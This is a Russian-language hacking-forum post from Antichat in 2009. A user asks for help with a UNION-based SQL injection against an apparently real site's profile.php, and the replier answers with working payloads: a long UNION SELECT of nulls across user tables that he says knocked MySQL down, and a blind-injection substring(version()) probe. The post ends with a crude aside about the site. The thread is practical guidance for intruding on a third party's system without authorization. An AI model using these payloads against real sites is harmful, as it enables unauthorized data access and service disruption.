Показать сообщение отдельно

  #8673  
Старый 26.08.2009, 15:00
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
С нами: 10158086

Репутация: 1359


По умолчанию

Цитата:
Сообщение от bleeep  
Помогите разобраться, пытаюсь провести инъекцию но не могу определить количество полей сделал запрос вот такой www.sait.ru/profile.php?id=-1+union+select+1-- выдал вот такую ошибку
Пытался перебирать поля дошел до 30 и все равно тоже самое((((Help me((
добиться вывода не удалось . закончил вот на этом
Код:
?id=34316+union+select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from ff_for,ff_users, ff_status where 1=1 OR 1=1
mysql gone down )))

крутить можно как слепую.
Код:
?id=34316+and+substring(version(),1,1)=5
з.ы. сиськи с сайта сильно мешают думать.
 
Ответить с цитированием